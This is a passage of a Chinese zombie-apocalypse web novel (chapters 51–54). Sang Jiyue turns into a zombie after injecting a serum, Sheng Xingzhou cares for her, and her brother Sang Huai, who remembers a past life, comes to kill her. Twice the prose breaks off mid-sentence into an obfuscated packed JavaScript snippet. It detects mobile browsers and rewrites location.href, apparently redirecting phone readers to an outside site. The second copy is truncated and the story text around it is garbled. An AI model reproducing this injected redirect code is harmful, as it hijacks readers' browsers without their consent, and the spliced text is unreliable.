体内的病毒正在逐渐开始作用,原本已经麻木的疼痛陡然加重,忍痛能力极强的桑寄月都忍不住低吟出声。 桑寄月将自己缩成一团,费力的凝望着窗外,只能看见一片黑暗,空无一人。 好疼啊。 一串泪珠顺着她的眼眶滚落,打湿了她苍白的脸颊。 黑暗中,桑寄月和从前一样,安静、沉默、孤独的哭泣着。 意识涣散前,她有一瞬间去想过。 为什么,都不坚定选择她。 51. 尸化 两个月前,殷乔不幸的感染了丧尸病毒,她浑浑噩噩的发了两个月的烧,幸运的没有实话,而是因为病毒觉醒了异能,且又注射了血清,最后挺过来了。 殷乔觉得她很幸运。 只是不知为何,随着她的清醒,桑淮却似乎随之沉默了许多。 殷乔不解,她问:“桑淮,你怎么啦?我醒过来,你不开心吗?” 为了寻找失踪的叶临,殷乔和桑淮这两年来没有加入任何基地,而是一直在外行走,毕竟叶临身为异种丧尸,总不该是会在基地里。 虽然桑淮也不是没有考虑到过这种可能性,但在进入基地时,他总觉得暗中有人窥伺着他,并且伺机而动,这种未知的感觉让他很不舒服。 有人在盯着他。 桑淮最终得出这样的结论。 虽然他无法判断暗中盯着他的人究竟是谁。 听见殷乔的问话,桑淮勉强笑了笑,声音沙哑的问她:“乔乔,等你再休息几天,我们就去景城的基地吧,外面还是太危险了。我不想你再遇到危险。” “可是我们不是要找临哥吗?”殷乔说着,心中却不由得想到了桑寄月。 当初燕城一别后,殷乔就再也没有见过桑寄月,也没有再听说过她的消息。 唯一和桑寄月有关联的江望曦,殷乔倒是听说过不少关于他的消息,几乎都是对他的赞誉和尊崇。 只是阿月在哪里呢?她没有和江望曦待在一起吗? 她现在过得好吗?还有没有经常在生病? 从小就体弱多病的女孩,要多努力才能在这么危险的世界活下去? 因为江望曦经常不在景城中,所以殷乔大致也能确认桑寄月没有和他在一起,那她会去哪儿呢? 桑寄月不喜欢人多的地方,她甚至都有可能不会去基地住下来,而是在外流浪,所以这两年来,殷乔一边陪着桑淮找叶临,也一边期盼着能见到桑寄月,看看她是否平安。 虽然他们没有找到叶临,也没有找到桑寄月,她反而还感染了病毒,好在最后也幸运的挺过来了。 面对殷乔的问话,桑淮沉默得更久。 不知为何,他的脑海中突兀的出现了许多陌生又熟悉的记忆碎片,那是与他这两年来,截然不同的记忆。 仿佛他们本不该如此,他们都应该有比现在更好的生活。 哪段记忆才是真的? 桑淮难以判断。 见桑淮一直不说话,殷乔还以为桑淮还在担忧,她轻松的笑了笑,出声安慰桑淮:“好啦,别想太多,我现在已经好了很多,再过几天,我们还能继续出发。” 桑淮此时非常混乱,也无暇多说什么,只胡乱的点了点头,看着车窗外的漫天雪景发呆。 不知为何,殷乔总觉得桑淮从那之后就变得很奇怪,他沉默了很多,每天用更长的时间,在思索着什么。 在殷乔养好身体打算和桑淮继续北上的时候,桑淮忽然神情严肃的对她说:“乔乔,这不该是我们的生活,有人篡改了我们的生活。” “什么?”殷乔不解的看着桑淮。 这几天殷乔虽然已经养好了身体,但可能是因为病毒对她的身体还是造成了影响,她的脸色一直都不太好看。 桑淮看着殷乔苍白的面容,声音逐渐温柔了下来:“乔乔,你先去景城的基地里待一段时间,没有我,你在基地会很安全。我要去做一件很重要的事情,等完成之后,我会立刻来找你。” “你要去哪里?”殷乔莫名的有些心慌,她紧紧的攥着桑淮的手,追问:“你这几天变得很奇怪,还有你刚才说有人篡改了我们的生活,又是什么意思?” “许致远,林洛安,叶临……他们都不该离我们而去的,我们本该都是在一起的,但现在都被一个人毁了,一定是她。”说起这话的时候,桑淮的脸色变得非常难看:“最重要的是,如果她不死,会害死你的,乔乔。” 桑淮说着,神情也跟着激动了起来:“马上就是末世第三年了,我不会再给她成长起来的机会,只要她死了,那些悲剧都不会再发生。” “你说的“她”是谁?” 桑淮深深地看了殷乔一眼,他坐在驾驶位上,顶着漫天风雪,先行驱车带着殷乔赶往景城的基地。 …… 天刚蒙蒙亮的时候,盛星舟才从外面回来,他站在门外抖了抖身上的雪,用异能将一身寒意驱散,才换鞋进门。 盛星舟懒洋洋的打了个呵欠,先是进了厨房做早餐,虽然桑寄月可能吃不了多少,但也不至于一点都不吃。 等到早餐做完,差不多也到了桑寄月该起床的时间了,往往都是他叫她起床吃早餐,吃完之后没多久她就又会犯困,一天里有三分之二的时间她都在睡觉。 不过今天也该是这种糟糕状况的最后一天了。 盛星舟对于接下来的未知不免有些恐慌,他害怕桑寄月尸化了也没有好转,也害怕他不能照顾好她,他还没有照顾一只丧尸的经验。 盛星舟一边想着,一边去敲响了桑寄月的房门,用轻快的声音和她说:“阿月,该起床啦,等你吃完早饭我们来拍照片吧,我找到相机了。” 这是桑寄月为人的最后一天,盛星舟想要留下一些什么,比如说一张与她的合照,或许会是很好的纪念。 桑寄月浅眠,按理说盛星舟的声音传出来的时候她就会醒过来,并且有所回应,可是这一次盛星舟竖起耳朵听了半天,里面都没有任何声音。 盛星舟一瞬间感到非常不安,他想也没想的拧开了门把手,目光朝里看去—— 记忆中熟悉的单薄身影,穿戴得整整齐齐的坐在飘窗上,背对着他,目光应当是注视着窗外的,身体却一动不动。 “阿月?” 盛星舟三两步跑到了桑寄月的身后,着急的按着她的肩膀,将她扳正。 一张过分苍白的面容映入眼帘,她的眼眸微微泛着白,注视着他的时候没有丝毫神采,空洞得瘆人。 盛星舟的目光下移,从她脖颈的处泛青的针孔,到被随意丢在地上的针管,其中一支已经空了,他的目光最后定在了那几袋已经被咬开的血包,里面的液体打湿了柔软温暖的地毯。 盛星舟一下子明白了这是怎么回事,他正要说话,就见原本安静的桑寄月,看见他时情绪陡然激动了起来。 覆盖着一层淡淡白膜的眸子在一瞬间变得通红,青白的色彩从她的眼尾开始蔓延,夹杂着几许腐烂,她张大了嘴,露出一对尖锐雪白的锋利獠牙。 这一瞬间,她展露了前所未有的攻击性,没有丝毫刻意的伪装,全凭身体的本能和心意行动。 盛星舟来不及多想,下意识的躲避起她的攻击,她的速度比人类的时候更快,且也不再会短时间内虚弱,盛星舟又有所顾忌,很快就在她面前落了下风。 桑寄月一只手掐着他的脖子,另一只手死死地按住他,盛星舟倒也不是挣扎不开,但他如果挣扎的话,可能她掐着他脖子的那只爪子就会捅穿他的脖颈。 她本来就留了很长很尖锐的指甲,此时尸化,指甲变硬,堪比十把刀片。 盛星舟不敢乱动,只是看着她这模样,他又心酸又无奈:“阿月,你真的不认得我了吗?” 桑寄月自然是听不懂盛星舟说话的,猎物还算乖巧,她也没有将爪子捅下去,而是用柔软的指腹蹭着他柔软的脖子,水系异能涌出,将那块皮肤打湿。 盛星舟:“……?” 她在做什么?给他洗脖子? 脖子上传来一阵痒痒的感觉,盛星舟不太习惯的吞咽了一下,紧接着便觉脖颈一疼,他被狠狠地咬住了脖子。 因为那对獠牙实在是太过于尖锐,所以被咬住的那一瞬间只隐隐感受到酥麻,并没有痛感,直到体内的鲜血流逝得越来越多,盛星舟才意识到大事不妙。 如果任由桑寄月进食,她一定会直接吸干他。 意识到这一点后,盛星舟用了巧劲儿,掐住了桑寄月的下巴,迫使她从他的脖子上挪开。 桑寄月毫不犹豫扭头就咬,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266039|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎恨不得直接将他的手指咬下来。 盛星舟匆忙松开,然后换了个姿势,将她按在了地毯上,她不停的挣扎着,转眼间就让盛星舟身上添了很多细碎伤口。 折腾了好久,桑寄月像是不知疲倦一样,直到被盛星舟用围巾束缚住手脚,她都没有安静下来。 盛星舟擦了擦脸上的汗,然后从空间里翻出几袋血包,隔老远伸长手将血包递到她嘴边:“阿月,吃这个。” 桑寄月咬了一口,鲜血四溢,她略微做出了吞咽的动作,但或许是因为不够新鲜,她“呸”的一下吐了出来,用泛红的眸子幽冷的盯着盛星舟。 盛星舟:“……” 为什么桑寄月变成丧尸了还这么挑食呢!该不会是只喜欢吃他吧? 那阿月的品味可真是太好了。 盛星舟有些窃喜的同时又有些忧愁,他捂着脖颈上的伤口,轻声细语的对桑寄月说:“阿月,明天再吃,今天你已经吃了我很多血了。” 桑寄月听不懂,只是一直挣扎着,眼见着束缚住手脚的围巾都有了裂痕。 盛星舟忽然想起了之前他也绑过她一次,桑寄月还是人的时候被绑都不会停止挣扎,直到把自己折腾得没有力气为止,现在变成丧尸了,丧尸不知疲倦,这围巾也根本绑不住她。 盛星舟不太想用绳子绑她,在桑寄月挣扎开之前,他飞快的窜出门外,把门关上。 桑寄月甩了甩被绑的手,站起身,又开始砸门。 门内哐哐的声响,让桑寄月的存在感尤为突出。 盛星舟看她竟然一直这么有活力,惊惶不安的心稍稍定了下来。 耳畔的声响延绵不绝,盛星舟靠着门板坐下,脖颈的伤口已经停止流血,他也没有精力去处理,他的脑子里全是沉默的注射了血清的桑寄月。 明明昨晚还温声细语的和他说明天见,还亲亲了他,怎么就都不告诉他一声,就注射了血清呢。 昨夜的桑寄月的确温柔得反常,只能说明在这之前她就已经做好了决定。 完全没有告知他的想法,哪怕是通知他一声。 为什么呢? 他明明说过,他今天还有话要对她说的,她知道他要说什么的,却还是坚持了她的决定。 是不想听吗?还是觉得不重要了呢? 心中的埋怨仍是稍纵即逝,盛星舟想得更多的是昨夜她独自一人注射了血清,然后孤独的尸化着。 她会疼吗?会偷偷的哭吗? 盛星舟这样想着,心脏又开始抽痛,他有些迷茫的喊了她一声:“阿月。” 听见声音,里面砸门的响动停都没停一下。 盛星舟也不在意,他说道:“我记得我感染尸毒的时候你说过,不想我孤单的待在房间里,等待自己成为行尸走肉。” 桑寄月会这么说,只能说明她感染尸毒的时候就是这样过来的。 哪怕只是很短的时间,但自我意识在病毒的游离中逐渐消散时,她仍会是无助与绝望的。 “你这样对我说,也是希望我在你尸化时,也能在的,对吗?” “可是现在……是不需要我了吗?” “是因为我一直都没有给你答案,所以你生气了吗?” “我现在给你答案,阿月——” 盛星舟话音未落,那扇摇摇欲坠的门便被桑寄月破开,他也再也没有说出那句话的时机。 桑寄月在面对盛星舟时,或许是因为生气,又或许是因为丧尸本能,她表露出来前所未有的攻击性。 她扑过来的时候,盛星舟下意识的伸手去挡,然后被她死死地咬住了手臂。 盛星舟本来是想推开她的,但另一只手抬起又放下,最终还是一动不动,任由桑寄月动作。 “阿月……”他的唇色泛着白,眼神却惊人的坚定执着:“你是需要我的,你看,你现在就没有放开过我。” 片刻后,桑寄月“呸”的一下吐出他的手臂,然后擦了擦嘴边的鲜血,慢吞吞的挪动着步子,往外走去。 52. 终结 桑寄月和外面的那些普通丧尸不太一样,至少在情绪不过分激动的时候,她只是面容看起来苍白了许多,眸子泛着微微的白,外貌趋近于正常人。 而此刻她又似乎和普通的丧尸没有任何区别,现在外面的天气还是很冷,她却像是感受不到寒冷一样,漫无目的的行走在御水湾中。 桑寄月的神情木然,却又透着一股认真,走过她过去生活了十几年的地方,像在巡视领地一样。 盛星舟匆忙包扎了一下伤口,然后追着她跑了出去,好在她的速度并不快,和散步没什么区别。 前几日落下的雪还没有化,在地上织成了一条厚重柔软的毯子,踩上去时还会发出沙沙的声响。 盛星舟的脚步比桑寄月重。 桑寄月听见了他的脚步声,但她没有理会,她现在不饿,对他也没有兴趣,只是那脚步声如影随形,她倏的顿住脚步。 桑寄月转过身去,在清晨将要隐去的薄雾间,看见了跟在她身后的男人。 盛星舟的脸色和唇色都泛着白,看起来比她还要不健康一些,他穿着黑色的大衣,被鲜血浸湿了也看不太出来,手臂间还搭着一条毛茸茸的粉色围巾,似乎是在想怎么给她绕在脖子上。 桑寄月面无表情的盯着他手臂上的那条围巾,刚才不美好的记忆涌入脑海。 盛星舟不太确定桑寄月究竟是注射了哪一支药剂,或许会是第二支,因为她原本一开始就是想要在江望曦身边,注射那支药剂的。 那么注射了之后呢?她现在是怎样的状态? 桑寄月已经完全转变了,为人时的病痛再也不能折磨她,作为丧尸的她现在很健康,也不再怕冷。 那她还认识他吗? 盛星舟不太确定,因为桑寄月说过,异种丧尸一开始是没有记忆和理智的。 可是也不一定,毕竟桑寄月现在的情绪就很平和。 或许她也是记得他的,刚才都没有直接把他的手咬下来。 这样想着,盛星舟多少有些欣慰。 只是桑寄月忽然上前,猛地扯下了那条围巾,动作很凶。 盛星舟愣了一下,下意识的开口:“我帮你围……” 话音未落,桑寄月将那条围巾用爪子割成两半,然后摔在了他的脸上。 因为围巾很柔软,上面还带着毛毛,所以摔在脸上并不疼,反而痒痒的。 盛星舟接着开口:“抱歉阿月,我保证以后不用围巾绑你了。” 桑寄月冷冷的扫了他一眼,转过身去,继续巡视她的领地。 盛星舟接着跟着她走,只是这一次走了没多久,桑寄月又停住了脚步,转头看着他。 盛星舟不明所以,他又想了想,抬起手:“饿了吗?” 桑寄月瞥了眼他伸长了的胳膊,衣袖上脏脏的,都是他身上的血。 她刚才竟然咬了这种东西。 桑寄月又擦了擦嘴,嫌弃的收回了目光,没再去管身后讨厌的尾巴。 盛星舟不知桑寄月心中的想法,看她不瞪着他了,他就毫无心理压力的继续跟着她走。 只是现在的桑寄月体力有些惊人。 她绕着御水湾走了一圈又一圈,直到傍晚时分,她把还在这里面游荡的其他丧尸全都赶了出去,确保只有她一只尸的时候,便只剩下了最后一个需要赶走或者咬断脖子的人。 桑寄月想着,又转过头去,盯着一直跟着她的盛星舟。 盛星舟的面色由白转青,呼吸也沉了不少,伤口处的鲜血都已被冷风吹得凝固,他忽然伸出手,攥住了桑寄月的手腕:“阿月,我要睡一会儿。” 桑寄月垂眸,看着扣着她手腕的那只手。 盛星舟的声音微微发着颤:“我们不能分开,你得在我旁边。” “……直到……” 他没有说完那整句话,整个人便像是脱力一样的栽倒在地,带着被他扣住手腕的桑寄月一起。 桑寄月爬起来,坐在地上,盯着躺在地上的人,没什么表情的脸上透出一丝不耐,她伸出右手,在那只手上比划了一下,留下一道锋利的血痕。 半晌,桑寄月缩回了手。 她好像没办法就这样割掉他的手。 桑寄月明白,她忘记了很多事,也不太记得眼前的人是谁,分明只是注定被她当成食物的人类,为什么要一直跟着她? 她好像很讨厌他,看见他就会觉得很生气。 一定是在她忘记的那些往事里,他做了让她很生气的事情。 但她依旧会网开一面。 片刻后,桑寄月攥住盛星舟的手,把他拖回了家。 …… 在意识彻底模糊的那一刻,盛星舟其实已经做好了死去的准备。 他这段时间受了不少伤,身体免疫力大度降低,外面又这么冷,就这么昏倒的话,只会被冻死。 桑寄月也不太可能会管他,她并不信任他,更遑论此时已经变成了丧尸,模糊了理智与记忆。 虽然他并不想和桑寄月分开,还是以死亡的方式,但很多事不是他想怎么样就能怎么样的——他不会和桑寄月分开,直到他死。 这是他没能说出口的话。 但他醒过来了。 醒来时他待在比外面要温暖很多的室内,躺在沙发上,虽然身上还是很疼,但他体格好,也还是挺过来了。 盛星舟一睁眼就看见了安静坐在他旁边的桑寄月,她很敏锐的发现他睁开了眼,然后立刻开始挣扎了起来。 盛星舟下意识的松开手,然后就见桑寄月抬起她的左手,苍白的肤色上残留着一圈醒目的红痕。 桑寄月盯着她的手腕,看起来非常生气,抓着旁边的软枕狠狠的往盛星舟身上砸了一下。 盛星舟捧着她的手腕道歉:“对不起对不起,阿月,我不是故意的,要不你咬我一口吧。” 桑寄月甩开他的手,转身上楼。 盛星舟看她进了卧室,才放心的开始拾掇自己、处理身上的伤口。 外面的天色又暗了下来,他应该是昏迷了二十四个小时。 桑寄月应该很饿了。 盛星舟隐约记得桑寄月说过,异种丧尸也是会吃异兽的肉的,他之前也在基地里兑换了不少异兽肉,都在空间里。 如果桑寄月愿意吃的话再好不过,如果不愿意的话他只能再继续放血了,只是这样也不是长久之计,或许他们应该考虑离开御水湾,去有人的地方。 准备好了食物之后,盛星舟上楼去找桑寄月,那扇门已经被桑寄月砸开,他一站在门口就能看见桑寄月。 她也换了干净的衣物,安静的坐在床边,手里握着一支未曾注射的药剂,似乎是在想些什么。 盛星舟刚走进去,就见她把那支药剂狠狠地摔在了地上,透明的液体混合着针筒碎片溅了一地。 桑寄月站起身,瞥了眼地上的一片狼藉,头也不回的走出门。 盛星舟站在门口和她说话:“阿月,你饿吗?我准备了晚餐,你想吃肉还是想吃我?” 桑寄月没理他,她慢悠悠的下楼,盛星舟连忙跟上她,见她在客厅里转悠了一圈,停在了大门口。 盛星舟取过一边的大衣穿上,刚准备和她一起出门。 桑寄月收回推门的手。 盛星舟说:“我只跟着你,不做别的 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比起被外面的丧尸咬,盛星舟当然更愿意被桑寄月咬。 之前对于桑寄月尸化后的迷茫与恐惧,在未曾改变太多的生活中逐渐被抹去。 看着情绪平和只在第一天表露过攻击性的桑寄月,很多时候盛星舟都恍惚间会觉得,此时的桑寄月不是丧尸,她是为人时健康的模样,只是不太爱说话,对他也没什么好脸色,应该是还在生他的气。 但总有一天她会消气的。 盛星舟如此安慰自己,但桑寄月过去是一整天都在睡觉,现在则是坐在卧室里发呆,他说什么她都不理会,应该是听不懂。 此时他又会生出愧疚的情绪,他总觉得桑寄月应该拥有比现在更好的生活,比如说得到更新鲜的食物,变得更强壮。 某种无力感时常萦绕着盛星舟,他始终认为他做得还不够。 这一天。 因为食物被消耗殆尽,盛星舟不得不外出搜集新鲜的肉类,虽然他很想带着桑寄月一起,但遭到了桑寄月强烈的反抗,便只能作罢。 盛星舟怀揣着不放心离开了。 桑寄月悠闲的坐在院子里的秋千上,把玩着盛星舟今早给她编的花环,时不时的晃悠一下纤细的双腿。 此时是春季,草长莺飞。 桑寄月往后靠了靠,感觉很是惬意。 尤其是在烦人的盛星舟终于滚了之后。 她不明白盛星舟为什么要一整天在她耳边说话,她觉得很吵很烦,但他似乎生怕她觉得无聊了一样,还想带着她出门。 桑寄月当然不愿意。 她守在自己的小天地中,感到很快乐。 临近中午的时候,桑寄月开始感到无聊,她在想盛星舟怎么还没回来,是不是真的滚远了不回来了? 桑寄月撇了下嘴,表情难得有些生动。 片刻后,她跳下秋千,正要进门的时候,有脚步声由远及近。 不是盛星舟的脚步声。 桑寄月立刻警惕了起来,她猛地看过去,一道陌生的身影映入眼帘。 “你竟然真的在这里?”那人盯着她,眼神中充满了让桑寄月不喜的审视。 桑寄月是敏锐的,她清楚的感受到了眼前男人对她的敌意。 迎着桑寄月泛白的眸子,苍白美丽的面容,干净整洁的衣物,与平静的情绪,桑淮似乎有些疑惑,又很快释然:“你现在不该是这个模样的……” 但是没关系,无论是什么模样,一切恩怨都将终结。 53. 悲剧 上辈子,在桑寄月尸化后,桑淮曾短暂的遇到过她一次。 那时她独自一人,穿梭游荡在丧尸群中,瘦骨伶仃,衣衫褴褛,一只从她身旁经过的丧尸将她撞倒在地,纤弱的丧尸在地上缓了许久才慢腾腾的爬起来。 她比尸化前还要瘦弱三分,腐烂的皮肉几乎包不住骨头,随着她的跌倒,一根骨头甚至穿透的那层薄薄的皮肉,突兀的裸露在空气中。 但她最后还是爬起来了,无意识的四处找寻着食物。 桑淮就躲在不远处,而桑寄月竟然找到他了,也不知是饥饿本能,还是别的什么原因,她不管不顾的朝着他冲了过来。 都无需桑淮躲避,她就又摔在了地上。 桑淮还要去与殷乔会合,本不该将时间浪费在桑寄月的身上,但他那时看着狼狈到了极点的桑寄月,还是停下来脚步。 “小月。”他轻声开口,似乎有些疑惑:“你没有……和曦哥在一起吗?” 那时分明是江望曦带走了她。 桑淮叹息了一声,猜测桑寄月是被抛下了,想来也是如此,毕竟她变成丧尸已经是既定的事实,从生物学上来说,她已经死了,此时只是一具没有意识的行尸走肉。 行走着也是痛苦。 桑淮充满怜悯的看着桑寄月,抬手之时,掌心雷电闪烁:“我帮你解脱,也算是全了我们这些年的兄妹之谊。” 桑寄月似乎是察觉到了危险,惊恐的叫了起来,她本就是在安全区与沦陷区的交界处,丧尸数量不少,几乎下一瞬就有丧尸循着声音冲了过来。 桑淮皱了下眉,认为桑寄月实在是狼心狗肺,他不欲恋战,找到机会便突破了重围,没再去管桑寄月。 此后的四年时间,桑淮都没有再见过桑寄月,他早就将桑寄月忘到了脑后,只当她是死了,直到第五年…… 桑寄月成为了他的心腹大患。 当然,这些事在未来都不会再发生了,因为他现在就会杀了尚未成长起来的桑寄月。 桑淮垂在身侧的手微微抬起,掌心仍有雷电光芒闪烁,他警惕而冰冷的看着桑寄月,伺机而动。 桑寄月微微歪了歪脑袋,神情是显然易见的困惑,她不认识眼前的人,也听不懂他在说什么,她也根本就不会说“话”。 唯有桑淮的敌意,与他掌心的力量,都让桑寄月尤为熟悉和警惕。 “你和上辈子这时候的你很不一样。”桑淮看着神情警惕的桑寄月,淡声开口,并且不动声色的靠近她。 虽然很不一样,但通过她苍白的脸色与泛白的眸子,还有尖锐的爪子,桑淮都能判断出来,她是丧尸。 这辈子没有他插手,她仍然尸化了。 其实这也不难猜,就桑寄月那具孱弱的身体,上辈子若是没有在他的行为下感染尸毒,只怕早就死了。 时间换算到这一世,桑寄月仍会因为病痛而奄奄一息,她会主动选择感染尸毒,也并不奇怪。 奇怪的是明明时间线没有任何问题,眼前的桑寄月却全然没有上辈子的狼狈。 为什么呢? 桑淮想着,也不免觉得不忿。 桑寄月必然也是拥有了上辈子的记忆,所以早早的就开始谋划毁了他的生活,如今他的身边也只剩下了殷乔一人。 许致远死了,林洛安与他们离心,相隔天涯,叶临生死未卜…… 除了殷乔,他所有亲近的人,都因为桑寄月而在他的生活中消失了。 桑淮憎恶桑寄月。 他一定要杀了桑寄月,他的生活,不能再一次被桑寄月毁得彻底。 说话间,桑淮已经走到了桑寄月的面前。 桑寄月面无表情的盯着桑淮,她要咬断眼前闯入她领地的陌生人的脖子。 桑寄月正要先发制人时,在他们的远处忽然又传来了急促的脚步声,下一瞬,她被盛星舟拉到了身后。 此时才中午,盛星舟竟然提前回来了,他面色微微泛着红,呼吸有些重,显而易见是跑着回来的。 桑寄月拉了拉盛星舟的手,有些困惑他为什么要挡在她面前。 这是她的地盘,又不是盛星舟的。 盛星舟站着没动,只是盯着桑淮,眉头皱得很紧:“桑淮,你为什么会在这里?” 无论是上辈子,还是这辈子,桑淮对于盛星舟都不陌生,尤其是这一世,叶临就是被他咬了,才变成丧尸的。 桑淮似乎确定了什么,喃喃自语:“原来这一切都是因为你。” 桑寄月此时就该烂在泥里,而不是好端端的站在他面前。 既然如此,只要杀了盛星舟,再杀了桑寄月,就好。 桑淮眼中划过一抹杀意。 盛星舟看着桑淮,心中腾升起一抹古怪的感觉,他回过头望了一眼正盯着他看的桑寄月,心下稍定。 “来替叶临报仇的吗?”盛星舟的唇角勾起一抹没什么温度的弧度,他睨了桑淮一眼,挑衅般的说道:“听说他失踪很长时间了,恐怕已经死了。” 盛星舟隐约记得在他没有意识的那段时间,他看到过桑寄月和江望曦的信,叶临已经在江望曦的手上,结果可想而知。 江望曦对桑寄月甚至是他自己都能狠得下心,更何况是叶临。 桑淮沉了脸:“果然是你们做的。” “想知道叶临的下落吗?”盛星舟淡声反问:“想的话,我们单独聊聊。” 桑淮也不管盛星舟是打的什么算盘,他应得很快:“可以。” 盛星舟这才回过头去看桑寄月。 桑寄月听见他和桑淮说话不理她,似乎是有些生气,脸上没有特别的表情,情绪起伏却非常明显。 盛星舟摸了摸她柔软的发顶:“我出去一下,阿月。” 桑寄月躲开他的手,仍然是一声不吭。 毕竟她本来就不会说人话。 盛星舟深深地看了桑寄月一眼,声音温柔:“我走了。” 桑寄月没什么反应。 直到盛星舟和桑淮一前一后的往外走,她才快走了两步,拉住了盛星舟。 盛星舟戳了戳桑寄月冰冷柔软的脸颊,惹得她生气的瞪他一眼,然后扭头回家。 盛星舟笑了笑,这才继续往外走。 …… 丧尸是很难察觉到时间的流逝的。 桑寄月意识到时间过去了很久,还是因为她觉得好饿好饿好饿。 按理说她不该觉得很饿的,盛星舟一日三餐都是准时做给她吃的。 除了……除了…… 那天? 桑寄月甩了甩不太清醒的脑袋,慢腾腾的走了出去。 御水湾是她的领地,没有丧尸,也没有任何人。 在这死寂的天地兜兜转转了许久,桑寄月才终于走出了御水湾,外面的世界更大,更危险,也更死寂。 只有无处不在的丧尸漫无目的的游荡,渴望着捕猎还因为很多原因处在沦陷区中的少数人类,又或者是不知从哪跑来的异兽。 沦陷区的食物很少很少。 在饥饿的驱使下,桑寄月也加入了他们,但她很爱干净,她从一开始就和那些丧尸是不一样的。 这种认知让桑寄月尝试着、挣扎着,想要从混沌中醒来。 某一天。 坐在台阶上发呆的桑寄月,被带进了一个温暖的怀抱。 桑寄月嗅到陌生的气息,几乎是毫不犹豫的想要攻击对方,但她因为长久没有进食,身体很虚弱,抬起的手被对方紧紧的攥住了。 “阿月……” 熟悉又陌生的呢喃声在桑寄月耳边响起。 桑寄月眨了眨微微泛着白的眸子,有些疑惑的看着喊她的人。 看见桑寄月的模样,殷乔哽咽着哭了出来,又抱住了她,低声说:“对不起,对不起,阿月……为什么……” 殷乔似乎说了什么,但桑寄月没太听懂。 殷乔的情绪不稳,哭了许久都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桑寄月挥开江望曦,攥着殷乔的手,和她一起往回跑。 殷乔跟着她跑了很久,她才停住脚步。 这一次他们回到了御水湾里,桑寄月仓皇的左顾右盼,似乎是在找什么。 是不愿意离开她生活了十几年的地方,还是别的什么原因吗? 殷乔温声问她:“阿月,你怎么了?你在找什么吗?” 桑寄月重重的点了点头。 看见桑寄月的回应,殷乔险些再度垂泪。 江望曦也折返了回来,不赞同的看着殷乔:“这里很危险,如果出了事,我不会管你,乔乔。” “阿月不愿意走,那就不走。”殷乔挡在桑寄月面前,声音坚定的说道。 桑寄月似乎是很忌惮要带她离开的江望曦,紧紧的拉着殷乔不肯放开。 江望曦叹了一声,有些无奈:“你好好劝劝她。” 桑寄月很听殷乔的话。 殷乔拉着桑寄月在旁边的长椅上坐下,安抚桑寄月激动的情绪:“阿月,不要怕,我们不走。” 桑寄月张了张嘴,似乎是想表达什么,她看起来很着急,嘴里发出的却尽是丧尸的声音,殷乔根本听不懂。 她更着急了,五官都皱在了一起,瘦弱的身体不停的颤抖着,语无伦次。 殷乔愣了一下:“阿月,你在哭吗?” 桑寄月皱着脸,似乎真的在哭,但是丧尸没有眼泪,她哭不出来。 殷乔刚忍住的眼泪又夺眶而出。 桑寄月主动抱住了殷乔,肩膀颤动着,表现出哭泣的频率。 滚烫的眼泪顺着殷乔的脸颊落下,将她本就惨白的脸庞冲洗得越发透明。 “阿月……”殷乔擦了擦眼泪,轻声在她耳畔说了一句什么。 “……” 54. 噩梦 旧年里风雪不止,新年的第一日也未曾停歇,天刚蒙蒙亮时,奔波半夜的男人披着一身风雪归家。 空荡荡的屋子里安静得好似落针可闻,盛星舟抖了抖身上的雪,驱散了一身的寒意,才换鞋进门。 准备好早餐后,时间也差不多了,他轻车熟路的上了楼,叩响了那扇房门,用惯常轻快的声音对着里面的人说话。 里面依旧非常安静,像是里面的人未曾听见他说话。 盛星舟莫名的有些不安,在确认卧室里没有任何声音时,他毫不犹豫的拧着门把手将门推开—— 原本漆黑一片的卧室里有了唯一的光源,盛星舟背着屋外满室的光,目光在昏暗的室内逡巡着。 他想找的人缩在柔软温暖的被褥间,眼睛眨也不眨的看着他,一动不动。 盛星舟有些局促的摩挲了一下手指,大步朝着她走过去,看她还是没什么反应,他张开五指,在她面前晃了晃。 桑寄月盯着眼前的那只手,半晌才转动了一下眼珠子。 盛星舟看她呆呆的样子,神情流露出一丝担忧:“阿月,你怎么了?” 他伸手在她冰凉柔软的脸颊轻轻戳了戳。 桑寄月皱了下眉,拍开他的手,别开了脑袋。 盛星舟反而松了口气,因为这才是桑寄月的正常反应。 桑寄月看起来没精打采的,目光却始终锁定着盛星舟,似乎是在思考什么。 “阿月,你在想什么?”盛星舟适时问她:“是做噩梦了吗?” 桑寄月想了想,然后点了点脑袋。 盛星舟听着,又不免觉得好奇:“你也会有害怕的东西吗?” 在盛星舟的认知中,桑寄月天不怕地不怕,不怕疼也不怕死。 “没有。”桑寄月垂眸否认。 “那怎么会是噩梦。” 桑寄月抿了抿唇,神情莫测。 她现在脑子里非常混乱,一时有些分不清究竟是梦境还是现实。 此刻她本不该是这种模样。 昨夜桑寄月在密密麻麻的疼痛中惊醒,恍惚间竟生出了一种久违的感觉,她贪恋的不是病痛,而是有温度的身体。 那时她的手中是尚未来得及注射的针筒,地面上还掉落着另外一支。 桑寄月将两支针筒都握在手心中,她认真的想了很久,将它们放进了床头柜的抽屉中,然后蹬掉柔软的棉拖鞋,躺进了温暖的被褥间。 因为不再拥有无需沉睡的身体与意识,桑寄月睡得很沉,她没有做梦,几乎已经到了极点的身体连做梦都是奢求。 直到耳畔传来熟悉的声音,她从睡梦中睁开眼,思绪不断在过去与现在之间拉扯着,仿佛是漫长的噩梦。 盛星舟说什么来着? 他说他想和她有一张合照。 那也可以,等到满足他的这个心愿,她再继续她的决定吧。 昨夜与现在她都是这样想的。 仿佛找到了一片混沌之中串连的节点,桑寄月的神情逐渐清明,她说:“可以。” 